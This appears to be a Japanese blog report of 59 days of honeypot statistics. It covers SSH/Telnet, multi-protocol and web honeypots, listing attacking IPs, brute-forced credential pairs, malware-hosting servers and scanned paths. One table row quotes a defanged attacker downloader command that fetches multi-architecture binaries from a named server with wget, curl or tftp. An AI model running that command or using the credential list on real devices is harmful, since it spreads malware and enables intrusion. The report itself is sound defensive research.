環境
VPS上に以下の３つの環境を構築した。
| 名前 |
目的 |
| Cowrie |
SSH・telnetのエミュレート。マルウェアの収集 |
| Heralding |
色々なプロトコルの認証情報を収集 |
| Webbait |
様々な管理画面や設定ファイルを模倣 |
webbaitは自作のFlask製のwebハニーポット
収集期間
2026/07/12 ~ 2026/09/09 の59日間
Cowrie(SSH,Telnet)
概要
| 項目 |
値 |
| 総セッション数 |
1018986 |
| 接続元IPの数 |
11855 |
| ダウンロードされたファイル数 |
16733 |
様々なランキング！
接続回数ランキング（IPアドレス別）
| 順位 |
IPアドレス |
回数 |
国 |
悪性か(?/89) |
| 1位 |
195.182.16.23 |
390458 |
🇩🇪 ドイツ |
16 |
| 2位 |
5.61.209.44 |
253832 |
🇳🇱 オランダ |
15 |
| 3位 |
5.61.209.43 |
148769 |
🇳🇱 オランダ |
12 |
| 4位 |
92.204.138.58 |
6671 |
🇺🇸 アメリカ |
6 |
| 5位 |
205.237.110.232 |
5327 |
🇩🇪 ドイツ |
16 |
| 6位 |
72.167.38.71 |
4416 |
🇺🇸 アメリカ |
5 |
| 7位 |
64.207.185.5 |
4325 |
🇺🇸 アメリカ |
4 |
| 8位 |
45.153.34.167 |
3478 |
🇳🇱 オランダ |
13 |
| 9位 |
64.227.25.120 |
3180 |
🇺🇸 アメリカ |
2 |
| 10位 |
45.153.34.112 |
3171 |
🇳🇱 オランダ |
9 |
悪性か？の欄はvirustotalで調べた結果によるもの。
89のセキュリティベンダーのうちいくつのベンダーが悪性と判断しているかを記載している。
使用されたIDとpassの組み合わせランキング
| 順位 |
ID/pass |
回数 |
| 1位 |
guest/123456 |
25514 |
| 2位 |
admin/adtran! |
12232 |
| 3位 |
admin/admin |
9962 |
| 4位 |
admin/2601hx |
9269 |
| 5位 |
service/serviceC0mp! |
6964 |
| 6位 |
root/zmHDc0m |
5774 |
| 7位 |
root/1234 |
5614 |
| 8位 |
on_support/fh1234 |
5446 |
| 9位 |
root/a1sev5y7c39k |
5412 |
| 10位 |
root/juantech |
5022 |
ファイル配布サーバランキング（サーバ別）
| 順位 |
配布元IP |
ダウンロード回数 |
ファイル種類 |
国 |
悪性か(?/89) |
| 1位 |
2.26.136.128 |
2688 |
4 |
🇫🇮 フィンランド |
17 |
| 2位 |
185.93.89.72 |
1055 |
4 |
🇳🇱 オランダ |
17 |
| 3位 |
77.90.185.66 |
671 |
5 |
🇩🇪 ドイツ |
13 |
| 4位 |
94.154.43.92 |
641 |
1 |
🇳🇱 オランダ |
13 |
| 5位 |
205.237.110.232 |
456 |
2 |
🇩🇪 ドイツ |
16 |
| 6位 |
176.65.139.202 |
334 |
13 |
🇳🇱 オランダ |
16 |
| 7位 |
5.182.210.61 |
180 |
24 |
🇳🇱 オランダ |
14 |
| 8位 |
45.150.195.235 |
165 |
8 |
🇪🇸 スペイン |
15 |
| 9位 |
107.189.24.181 |
79 |
5 |
🇳🇱 オランダ |
16 |
| 10位 |
45.90.163.37 |
60 |
10 |
🇫🇷 フランス |
21 |
入力されたコマンドの内訳
| カテゴリ |
件数 |
割合 |
| 書き込み可能ディレクトリ探索 |
525,836 |
36.8% |
| シェル種別調査 |
345,614 |
24.2% |
| OS識別(uname系) |
256,235 |
17.9% |
| その他 |
201,425 |
14.1% |
| busyboxフィンガープリント |
50,347 |
3.5% |
| 永続化・クリーンアップ |
18,049 |
1.3% |
| アンチハニーポット偵察 |
16,649 |
1.2% |
| ダウンローダー実行 |
13,529 |
0.9% |
侵入後に最初に入力されたコマンド（9/10追記）
| 順位 |
コマンド |
セッション数 |
割合 |
| 1 |
uname -s -v -n -r -m |
94,308 |
40.6% |
| 2 |
cd /proc/; cat self/cmdline |
78,314 |
33.7% |
| 3 |
enable |
37,335 |
16.1% |
| 4 |
uname -a |
9,783 |
4.2% |
| 5 |
/bin/./uname -s -v -n -r -m |
3,242 |
1.4% |
| 6 |
sh |
3,228 |
1.4% |
| 7 |
system |
2,414 |
1.0% |
| 8 |
echo -e "\x6F\x6B" |
462 |
0.2% |
| 9 |
cd /tmp||cd /var/run||cd /mnt||cd /root||cd /;for a in mips mpsl arm4 arm5 arm6 arm7 x86_64 x86;do wget -q http[:]//94[.]154[.]43[.]92/$a -O .b||curl -s http[:]//94[.]154[.]43[.]92/$a -o .b||tftp -g -l .b -r $a 94.15 |
438 |
0.2% |
| 10 |
echo SHELL_TEST |
322 |
0.1% |
ダウンロードされたファイル種別
| 種別 |
件数 |
割合 |
| ELFバイナリ(実行ファイル) |
164 |
53.1% |
| シェルスクリプト |
96 |
31.1% |
| テキスト(その他) |
36 |
11.7% |
| HTML(誤取得・エラーページ) |
8 |
2.6% |
| Perlスクリプト |
2 |
0.6% |
| SSH鍵ファイル |
2 |
0.6% |
| その他/不明 |
1 |
0.3% |
これらのマルウェアの疑いのあるファイルは後日解析を行ってみる。
Heralding
概要
| 項目 |
値 |
| 総セッション数 |
3137193 |
| 接続元IPの数 |
8496 |
様々なランキング！
攻撃プロトコルランキング
| 順位 |
プロトコル |
回数 |
| 1位 |
vnc |
3021882 |
| 2位 |
mysql |
55641 |
| 3位 |
smtp |
18642 |
| 4位 |
socks5 |
15105 |
| 5位 |
postgresql |
10060 |
| 6位 |
ftp |
6378 |
| 7位 |
pop3 |
3077 |
| 8位 |
imap |
2130 |
| 9位 |
pop3s |
1910 |
| 10位 |
smtps |
1190 |
| 11位 |
imaps |
1178 |
接続回数ランキング（IPアドレス別）
| 順位 |
IPアドレス |
回数 |
国 |
悪性か(?/89) |
| 1位 |
104.248.226.231 |
161482 |
🇺🇸 アメリカ |
2 |
| 2位 |
159.65.231.201 |
160865 |
🇺🇸 アメリカ |
1 |
| 3位 |
206.81.7.82 |
160691 |
🇺🇸 アメリカ |
1 |
| 4位 |
192.241.141.178 |
141730 |
🇺🇸 アメリカ |
0 |
| 5位 |
159.223.184.166 |
138458 |
🇺🇸 アメリカ |
2 |
| 6位 |
159.89.228.57 |
137029 |
🇺🇸 アメリカ |
2 |
| 7位 |
159.223.133.138 |
112608 |
🇺🇸 アメリカ |
3 |
| 8位 |
165.227.204.236 |
110321 |
🇺🇸 アメリカ |
2 |
| 9位 |
159.89.225.170 |
109377 |
🇺🇸 アメリカ |
2 |
| 10位 |
178.128.224.184 |
67118 |
🇨🇦 カナダ |
2 |
Webbait
概要
| 項目 |
値 |
| 総リクエスト数 |
54515 |
| 接続元IPの数 |
3954 |
様々なランキング！
アクセスパスランキング
| 順位 |
パス |
回数 |
| 1位 |
scan |
45516 |
| 2位 |
index |
6057 |
| 3位 |
tomcat-manager |
983 |
| 4位 |
dotenv-scan |
977 |
| 5位 |
gitconfig-scan |
445 |
| 6位 |
phpmyadmin |
202 |
| 7位 |
githead-scan |
201 |
| 8位 |
actuator-env |
58 |
| 9位 |
actuator-health |
42 |
| 10位 |
wp-login |
19 |
接続回数ランキング（IPアドレス別）
| 順位 |
IPアドレス |
回数 |
国 |
悪性か(?/89) |
| 1位 |
74.0.32.57 |
4146 |
🇬🇧 イギリス |
1 |
| 2位 |
195.178.110.106 |
2195 |
🇦🇩 アンドラ |
2 |
| 3位 |
136.85.50.145 |
1282 |
🇸🇬 シンガポール |
4 |
| 4位 |
104.199.205.53 |
1238 |
🇹🇼 台湾 |
1 |
| 5位 |
172.105.212.74 |
1101 |
🇯🇵 日本 |
1 |
| 6位 |
34.84.112.172 |
1065 |
🇯🇵 日本 |
1 |
| 7位 |
34.125.62.75 |
977 |
🇺🇸 アメリカ |
1 |
| 8位 |
23.234.81.98 |
976 |
🇺🇸 アメリカ |
1 |
| 9位 |
34.12.44.63 |
956 |
🇳🇱 オランダ |
2 |
| 10位 |
8.228.14.15 |
940 |
🇺🇸 アメリカ |
6 |
User-Agentsランキング
| 順位 |
IPアドレス |
回数 |
| 1位 |
libredtail-http |
6080 |
| 2位 |
Mozilla/5.0 |
4945 |
| 3位 |
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 |
2769 |
| 4位 |
Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 |
1628 |
| 5位 |
feroxbuster/2.13.1 |
1582 |
| 6位 |
Mozilla/5.0 (X11; Linux x86_64) |
1529 |
| 7位 |
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 |
1372 |
| 8位 |
|
1335 |
| 9位 |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 |
1275 |
| 10位 |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 |
924 |
